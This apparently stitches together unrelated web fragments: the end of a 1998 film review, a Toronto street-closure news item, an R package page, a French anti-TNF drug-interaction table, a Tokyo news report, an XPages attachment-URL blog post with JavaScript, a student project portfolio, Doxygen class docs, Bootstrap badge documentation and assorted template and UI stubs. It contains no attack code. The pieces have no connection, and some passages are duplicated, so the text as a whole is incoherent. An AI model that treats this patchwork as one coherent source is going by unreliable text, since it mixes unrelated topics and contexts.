At least Anna's family is more interesting, in a contrived sort of way. Her sister Nina (Jennifer Tilly) is blind and fearful of the world. Her brother Billy (Jeremy Piven) has some fidelity issues with his wife.
In the entire movie, Nina is the most interesting character, although her storyline never pans out in a believable way. Jennifer Tilly is able to endow her character with the spark of life that is absent from Anna.
Music From Another Room is painfully overwritten. The stilted dialogue that fills the film is nothing anyone would actually say. But that's ok...hardly any of the film's scenes are believable anyway. The film's script is definitely its weakest link.
So that leaves us with characters we don't care anything about, blabbering nonsense, all the while doing incredulous things. Hardly an auspicious set of ingredients for a romantic comedy.
None of the cast give terribly endearing performances. Jennifer Tilly and Jude Law are the standouts in a rather uninspiring collection.
Music From Another Room tries to be a light and whimsical romantic comedy, with a little dysfunctional family humor tossed in for topical spice. However, while not a complete disaster, it's rarely comic and hardly romantic.
Copyright 1998 Matt Williams
- Matt Williams<EMAIL_ADDRESS>Reviewer for Cinematter: http://www.cinematter.com Home of over 500 reviews, and information on over 600 upcoming releases
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


My Workout Tracker
Fitness Tracker
Dashboard
Fitness Tracker
Last Workout
Continue Workout
New Workout
Create Your First Workout
Workout Added Successfully!


Section of Fleet Street to go car-free starting Monday
by Bryann Aguilar, CP24.comThe city is dedicating a stretch of a waterfront street to cyclists and pedestrians, closing it to cars and trucks permanently.
The westbound lane of Fleet Street between Bathurst and Iannuzzi Streets will only be open to pedestrians and cyclists starting on Monday.
It comes as a part of the city's Vision Zero plan to 'normalize' the busy intersection and improve road safety.
According to the city, the five-arm, high-collision intersection has been a problematic location. It poses danger to pedestrians and cyclists, causes delays to streetcars, and confuses drivers.
"This is a significant, immediate action that will enhance safety for all road users in the adjacent neighbourhoods of Bathurst Quay, Fort York and CityPlace," said Mayor John Tory in a statement.
The city said the closure will shorten crossing distances for pedestrians and improve traffic for the 509 and 511 streetcars.
"No amount of injuries on our streets is acceptable. I’m glad to see this critical first step in our plan for Bathurst and Fleet being implemented to finally make this intersection safer," Ward 10 Councillor Joe Cressy said.
The city said it is part of a long-term strategy to reconfigure the intersection and create a new public space in the area.


The package provides tools for botanists, plant taxonomists, curators of plant genebanks and perhaps other biological collections.
| Version: | 1.1.1 |
| Depends: | R (≥ 2.15.1), stringr, markdown |
| Published: | 2014-10-01 |
| Author: | Reinhard Simon [aut, cre] (CIP), David M. Spooner [aut] (USDA), International Potato Center [cph] |
| Maintainer: | Reinhard Simon <R.SIMON at CGIAR.ORG> |
| License: | MIT + file LICENSE |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | exsic results |
| Reference manual: | exsic.pdf |
| Package source: | exsic_1.1.1.tar.gz |
| Windows binaries: | r-devel: exsic_1.1.1.zip, r-release: exsic_1.1.1.zip, r-oldrel: exsic_1.1.1.zip |
| OS X binaries: | r-release: exsic_1.1.1.tgz, r-oldrel: exsic_1.1.1.tgz |
| Old sources: | exsic archive |
Please use the canonical form https://CRAN.R-project.org/package=exsic to link to this page.


{% extends "eats/edit/base_edit.html" %} {% block eats_title %}{{ block.super }}Update name search forms{% endblock eats_title %} {% block eats_content %}
{{ count }} names have had their search forms updated.


We have made a major update to vik, and the way it functions. . .
While we could have spent time making it so that the old and new versions of Vik work in tandem
with each other we decided not to as, given our low user base, this would be worth nothing,
compared to the amount of features we could add in the same time.
Regards,
The Vik Development Team
-----------------
P.S. The old version of vik can be found at old.vik.fyi
Vik
Connect with others:
Share stories, news, and quotes!
PS: If you're worried about unsecure notification that you may (or not) recieve from your browser visit "secure.vik.fyi". (Nothing is different between the secure and unsecure version)
Go to Vik


TABLE OF INTERACTIONS WITH
ANTI-TNF ALPHA
From the French ANSM drug interactions document of September 2016, p. 30
ANTI-TNF ALPHA CLASS CODE: LO4AB |
ABATACEPT RxNorm: 614391 ATC: L04AA24 |
Increase of the immunodepression |
Not recommended |
ANTI-TNF ALPHA CLASS CODE: LO4AB |
ANAKINRA RxNorm: 72435 ATC: L04AC03 |
Increased risk of serious infections and neutropenia |
Not recommended |
ANTI-TNF ALPHA CLASS CODE: LO4AB |
CANAKINUMAB RxNorm: 853491 ATC: L04AC08 |
Risk of increase of serious infections |
Not recommended |
ANTI-TNF ALPHA CLASS CODE: LO4AB |
ATTENUATED LIVE VIRUS VACCINES CLASS CODE: J07B-001 |
Risk of general vaccine disease possibly fatal |
CONTRAINDICATION And during the 3 months following the end of the treatment. |


{{define "content"}}
…it’s provides an easy, quick and anonymous way to share information!
Want to run your own instance? Go fork me on github!
It's easy to use
provides a less cluttered web
better privacy
Sound good? Let’s go!
Check your namespace
Everybody who knows the namespace can read and post to it. Want to keep it hidden? Create a random one!
Namespaces are not(!) case sensitive.
Chrome: Install our extension from the Chrome Store!
Firefox: Install our extension from Mozilla Add-ons!


Kritzum Consulting Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us! — The Kritzum Team


Press n or j to go to the next uncovered block, b, p or k for the previous block.
| File | Statements | Branches | Functions | Lines | |||||
|---|---|---|---|---|---|---|---|---|---|
| src |
|
82.21% | 550/669 | 69.07% | 259/375 | 77.91% | 134/172 | 83.56% | 498/596 |
| src/support |
|
45.24% | 19/42 | 11.11% | 1/9 | 42.86% | 6/14 | 39.39% | 13/33 |


Use the following settings to configure where your activity files should be stored.
Use the following settings to configure the path to your device, from which the activity files should be fetched.


AI in Audio
Part I: Automated music generation and production
Spring 2019 - Audio Tech Talk Series
March 3, 2019
What is AI?
Terms
Artificial Intelligence
Machine Learning
Neural Networks
Deep learning
Simple Neural Network
Guitar Pedal
"Neural Network" Guitar Pedal
Examples
YOLO
Progressive growing of GANs
Progressive Growing of GANs for Improved Quality, Stability, and Variation | T. Karras et. al. | 2018
What about music?
We have to go way back...
Wind chimes
China - 1100 BC
Aeolian harp
Greece - 6 BC
Markov chains
Iannis Xenakis - Analogique in 1920s
Enter deep learning...
Symbolic music generation with LSTMs
Doug Eck - Blues Improvisation - 2002
Improved symbolic music generation
Sony CSL - In the style of the Beatles - 2016
Raw audio synthesis with WaveNet
Deep mind - Classical piano - 2016
More hybrid and symbolic approaches
Jukedeck
Symbolic + synthesis - 2016
AIVA
In the style Star Wars Theme - 2017
Popgun
Symbolic pop music - 2017
For music production
First automatic mixing system
Dan Dugan - Microphone Mixer - 1975
Grounded theory (Psychoacoustics)
Enrique Perez-Gonzalez - 2009
Knowledge engineering (Mixing rules)
Stuart Mansbridge - 2012
Deep learning is next...
We need more data
End-to-end vs. Parameterized models
Next Talk - March 12
AI in Audio
Part 2: Music Recommendation and Understanding


Newborn baby girl abandoned in hotel room in Tokyo
TOKYO — A newborn baby girl was found abandoned in a hotel room in the entertainment district of Shinjuku’s Kabukicho district in Tokyo on Friday.
According to police, a hotel employee, who had entered the room just after 5 p.m. to begin cleaning, found the infant wrapped in a bedsheet, Fuji TV reported. The hotel immediately contacted police.
The baby was taken to hospital and is in a stable condition, police said Saturday. A hospital spokesperson said the baby had been born a few hours prior to being found.
Police said they are looking for a woman who checked in to the room on Thursday and remained there until check-out time on Friday morning.
© Japan Today


Cluser C, Dubai, UAE
<EMAIL_ADDRESS>009-215-5596
Home
About Us
Services
Why Inception
Connect
Follow Us
Connect
Lets Build The
Future Together
Ask Our Support Team. Let us know how we can help you.
DUBAI-UAE
Office:
+971 44 22 4622
Direct:
+971 55 166 8872
JEDDAH-KSA
Office:
+966 505 620 225
Direct:
+966 505 620 225
POKHARA-NEPAL
Office:
+977<PHONE_NUMBER>
Direct:
+977<PHONE_NUMBER>
Be part of the change
Fill in your details and get in touch with us!
Your Name
Password
Subject
--Select Subject--
Sales
Portfolio
Others
Location
--Select Location--
Dubai UAE
Jeddha KSA
Phone Number
Message
Send Message


Engineering Student
Nashville, TN
<EMAIL_ADDRESS>615-911-9000
Skills
Microsoft Word, Powerpoint, Excel
Videography and Photography
Adobe Lightroom
Marketing and Sales
Teamwork and Collaboration
Public Speaking
Languages
English
Chinese
Collaborated with United States Transportation Command (USTRANSCOM) Enterprise Architecture (EA) team to architect information technology (IT) business processes for systems, subsystems, and applications used throughout Command
Facilitated educational literature sales business, to include books, website subscriptions, and mobile applications.
As for projects, creating this website in IE 421 is one of my little projects/homework in the class.


Attachment URLs in XPages
In classic Domino applications directly addressing attachments is well known and simple. Your URL has the format:
While this will continue to work on the Domino server for the forseeable future you want to learn about the XPages syntax. The very obvious reason: the classic Domino URL doesn't work in the Notes client (XPiNC) and you want to make your applications work cross-platform don't you? Also we don't know what additional options handling attachments via XPages might bring in the future. the syntax is a litte more complex.:
A few remarks:
As usual YMMV
http(s)://[yourserver]/[application.nsf]/[viewname|0]/[UNID| ViewKey]/$File/[AttachmentName]?Open
While this will continue to work on the Domino server for the forseeable future you want to learn about the XPages syntax. The very obvious reason: the classic Domino URL doesn't work in the Notes client (XPiNC) and you want to make your applications work cross-platform don't you? Also we don't know what additional options handling attachments via XPages might bring in the future. the syntax is a litte more complex.:
http(s)://[yourserver]/[application.nsf] /xsp/.ibmmodres/domino/OpenAttachment/ [application.nsf]/[UNID|/$File/[AttachmentName]?Open
A few remarks:
- The URL contains the application location twice. From my tests it looks like the
/__[ReplicaID].nsf/
doesn't work for here. I haven't tested what happens when you specify 2 different applications in the front and the back - Since there is no view involved in the URL addressing attachments using an attachment key won't work. You have to use the UNID. This requires extra care when you build applications where the attachment URL is supposed to be shared (like send in a chat or an eMail). Deleting a document and recreating with an updated attachment will alter the URL. So ou want to cater for that case with a specific XPage rather than a raw URL.
- When you attachment is stored inside a RT field (e.g. using the upload control where you target a field) you can replace "/$File/" with the field name e.g. "/Body/"
-
function getAttachmentURL (docID :java. lang. String , attachmentName :java. lang. String ) {
-
var base = getBaseURL ( ) ;
-
var middle = "/xsp/.ibmmodres/domino/OpenAttachment" ;
-
if (base. substr ( 0 , 4 ) == "/xsp" ) {
-
middle += base. substr ( 4 ) ;
-
} else {
-
middle += base ;
-
}
-
var result = base + middle + "/" + docID + "/$File/" + attachmentName + "?Open" ;
-
return result ;
-
}
-
-
function getBaseURL ( ) {
-
var curURL = context. getUrl ( ) ;
-
var curAdr = curURL. getAddress ( ) ;
-
var rel = curURL. getSiteRelativeAddress (context ) ;
-
var step1 = curAdr. substr ( 0 ,curAdr. indexOf (rel ) ) ;
-
-
// Now cut off the http
-
var step2 = step1. substr (step1. indexOf ( "//" ) + 2 ) ;
-
var result = step2. substr (step2. indexOf ( "/" ) ) ;
-
return result ;
-
-
}
Posted by Stephan H Wissel on 24 June 2010 | Comments (1a) | categories: XPages


Tech Stack: Flutter,Dart,Firebase,Geolocation,GCP
This tool,We designed an App that compares the navigational,memory performance on male and female volunteers of all ages and It will detect People’s Risk of Alzheimer’s/Dementia based pn MOCA/SAGE tests.
It has login-logout authenication system with facility to store details of users using FireBase API
It has quiz of 25 question each testing different skills like recall,memory,basic math,orientation etc
Tech Stack: Flutter,Dart,MapboxGL,Firebase
Regrow is a general simple, elegant and easy-to-use resourse locator with good UI that helps people in finding neccessary resourses around them in case of any disaster. With just one click you can mark out the resources
and share it with others.
The ability to add different markers on the map based on the resource or danger found at the Location
Ability to send the location of those resources or dangers to all the people to help them protect humanity
Ability to download the markers, so people always are able to find a way to the resourses and protect themselves from the danger.

Carbon Footprint Calculator calculates emission from answer to a simple questionnaire which provides the application with data in order to calculate how much carbon footprint a person leaves behind
User simply has to input their vehicle's Fuel Consumption, which it then utilizes to provide the user with real-time insights on the carbon footprint left behind in during a journey, using the Google Maps API.
Tech Stack: Django, Liblouis, Tessesract.js, Open Dyslexix
Tool to identify trigger warnings from text from .txt,copied text,image text,helpful for people with anxiety issues
OCR Tool to identify content from image which is used for all other tools
Tool to convert text extracted from methods above mentioned ways to Embosser Ready Braille
Tool to convert text to Open-Dyslexic font for easier reading method for dyslexic people
Tech Stack: DjanGo, Molvec, Kekule.js, PubChem REST API
ChemDesk is a tool that can be used to see details about a particular compound of interest.
It also methods for structure comparison,aromatic-nonaromatic ring calculation
It has inbuilt periodic table with various element properties mentioned.Best Part,It has Benzene Pong in it.
Tech Stack: Python Twitter API
Developed a twitter bot which used GPT2 to generate tweets
Implemented automatic retweet,like,follow,trend finding and searching hashtags
Implemented details fetch of user like username,location,no. of tweet etc with just user’s id
FineTuned 124M and 355M GPT2 models with 500k quote dataset and generated samples for 4 different types of finetuning data
Tech Stack: Python, Librosa, Essentia
Implemented a simple mp3 player using Tkinter which could play,stop and pause
Implemented various audio feature extraction algorithms like spectrograms,chromatograms,spectral features,etc in TKinter app for graphical visualization>
Tech Stack: Python, Scikit, TensorFlow
Implemented a CNN model for emotion recognition using MFCCs,Spectrograms,etc-Mentored by Ankur Bhatia(senior undergrad)
Implemented TSNE,PCA on RAVDESS,TESS Datasets for 7 different emotions and multiple age groups
Tech Stack: HTML,CSS,JS,bootstrap
Implemented SIR and SEIR model-Mentored by Asst. Prof. Veenu Mangat
Documented the details behind the SIR,SEIR and SIS models and epidemiology in general
Developed COVID live tracker using covid19 api with which tracked total cases,active cases,recovered cases,deceased cases and vacine tracker.


Books I've Read Recently
- I recently read my friend Nadia’s book The Sentient. It was excellent, and I recommend it. You should go buy it.
- I’m currently reading Uncomfortable Conversations with a Black Man by Emmanuel Acho. You should too.
- I also read one chapter of Ego is the Enemy every day.


The entry port on the north shore of the Marmara Sea, Tekirdag is a commercial harbour.
For the full details on Turkey Formalities go here.
The customs office is near the harbour.
Yachts can berth in the inner basin, on the east or south quays.
Provisions available ashore.


This is a general solver class which can be extended to define custom solvers
More...
Inherited by ArtificialPotentialField.
|
| virtual void | DrawGizmos () |
| | Drows debug informations on the screen More...
|
| |
| float | Update (Transform bestCamera, Actor[] subjects, Shot shot, float maxExecutionTime) |
| | Updates the solver for a given amount of time More...
|
| |
| virtual void | Start (Transform bestCamera, Actor[] subjects, Shot shot) |
| | Enabling of the solver More...
|
| |
| virtual void | Stop () |
| | Disabling the solver More...
|
| |
|
| const int | TRACE_LENGHT = 100 |
| | Defines the length fo the debug trace (it is used only in editor mode) More...
|
| |
|
| void | logTrace (Vector3 position, Vector3 forward, float fitness) |
| | Method used by solvers to keep logs of the last evaluated cameras More...
|
| |
This is a general solver class which can be extended to define custom solvers
| static float Solver.CombinedSubjectsScale |
( |
Actor[] |
subjects | ) |
|
|
static |
Combined scale of the subjects, used to estimates theier total size.
- Returns
- The subjects combined scale.
- Parameters
-
| virtual void Solver.DrawGizmos |
( |
| ) |
|
|
virtual |
Drows debug informations on the screen
| void Solver.logTrace |
( |
Vector3 |
position, |
|
|
Vector3 |
forward, |
|
|
float |
fitness |
|
) |
| |
|
protected |
Method used by solvers to keep logs of the last evaluated cameras
- Parameters
-
| position | Position. |
| forward | Forward. |
| fitness | Fitness. |
| static void Solver.setPosition |
( |
Vector3 |
position, |
|
|
Transform |
bestCamera, |
|
|
Shot |
shot |
|
) |
| |
|
static |
Sets the position to the camera controlling if the camera is locked
- Parameters
-
| position | The position to be set. |
| bestCamera | The camera on which to set the position. |
| shot | The current shot. |
| virtual void Solver.Start |
( |
Transform |
bestCamera, |
|
|
Actor[] |
subjects, |
|
|
Shot |
shot |
|
) |
| |
|
virtual |
Enabling of the solver
- Parameters
-
| bestCamera | curret camera to be animated |
| subjects | subjects in the shot |
| shot | shot to be generated |
| virtual void Solver.Stop |
( |
| ) |
|
|
virtual |
| static Vector3 Solver.SubjectsCenter |
( |
Actor[] |
subjects | ) |
|
|
static |
Given a list of ubjects, it calculates a position in the middle.
- Returns
- A position wich is central to the subjects passed.
- Parameters
-
| subjects | The subjects in the shot. |
| static float Solver.SubjectsRadius |
( |
Actor[] |
subjects | ) |
|
|
static |
Given a list of subjects, it calculates a sphere that contains them all.
- Returns
- The radius of the sphere.
- Parameters
-
| subjects | The subjects in the shot. |
| float Solver.Update |
( |
Transform |
bestCamera, |
|
|
Actor[] |
subjects, |
|
|
Shot |
shot, |
|
|
float |
maxExecutionTime |
|
) |
| |
Updates the solver for a given amount of time
- Parameters
-
| bestCamera | curret camera to be animated |
| subjects | subjects in the shot |
| shot | shot to be generated |
| maxExecutionTime | maximum execution time. |
| const int Solver.TRACE_LENGHT = 100 |
Defines the length fo the debug trace (it is used only in editor mode)
| float Solver.Satisfaction |
|
get |
Returns the quality of the current best found solution
[0,1] A value describing how much the current best solution satisfies the shot requirements.
| Vector3 Solver.SubjectsVelocity |
|
get |
Returns the group velocity of the subjcts in the current shot
- Returns
- The velocity (units pers second).
The documentation for this class was generated from the following file:
- Assets/CamOn/Solvers/Solver.cs


Badge
Documentation and examples for badges, our small count and labeling component.
Bootstrap DocumentationExamples
Text
Primary
Secondary
Success
Danger
Warning
Info
Dark
Links
Using the contextual .badge-*
classes on an <a>
element quickly provide actionable badges with hover and focus states.
Icon
Primary
Secondary
Success
Danger
Warning
Info
Dark
Colors
Soft
Soft primary
Soft secondary
Soft success
Soft danger
Soft warning
Soft info
Soft dark
Shapes
Pills
Warning
Circle
3
3
3
3
3
3
3
Sizing
Warning
Warning
Warning
Dots
Primary
Secondary
Success
Danger
Warning
Info
Dark
Warning
Warning
Warning
Buttons
Badges can be used as part of links or buttons to provide a counter.
Default
Floating
Badges can be used as part of links or buttons to provide a counter.


Who are we?
Our company is Squaree, we design simple, easy-to-pickup multiplayer games that are fun to play.
Our first game is bomberman.  You can also eat powerups to increase your speed, range, and number of bombs.
Our first game is bomberman.  You can also eat powerups to increase your speed, range, and number of bombs.
What do we sell?
In the catalogue section, you can buy in-game items to boost up your abilities in game.
There are beautiful armours, weapons, potions, and many other things to make your character as amazing as ever. Below are some examples:
There are beautiful armours, weapons, potions, and many other things to make your character as amazing as ever. Below are some examples:


|
filesaver
|
Provides a lock based queue. More...
#include <WorkQueue.h>
Public Member Functions | |
| std::optional< T > | frontWithTimeout (std::chrono::milliseconds timeout) |
| T | front () |
| void | push (const T &item) |
| void | push (T &&item) |
| size_t | size () |
Provides a lock based queue.
This is a simple lock based queue.
Definition at line 22 of file WorkQueue.h.
|
inline |
Pop an element from the queue, waiting for until an element is available if it's empty.
Definition at line 59 of file WorkQueue.h.
|
inline |
Try to pop an element from the queue, waiting for timeout
milliseconds for it to be available.
| timeout | Amount of time to wait for an element to be available. |
Definition at line 32 of file WorkQueue.h.
|
inline |
Push an element into the queue.
Definition at line 80 of file WorkQueue.h.
|
inline |
Move an element into the queue.
Definition at line 90 of file WorkQueue.h.
|
inline |
Get the queue size.
Definition at line 100 of file WorkQueue.h.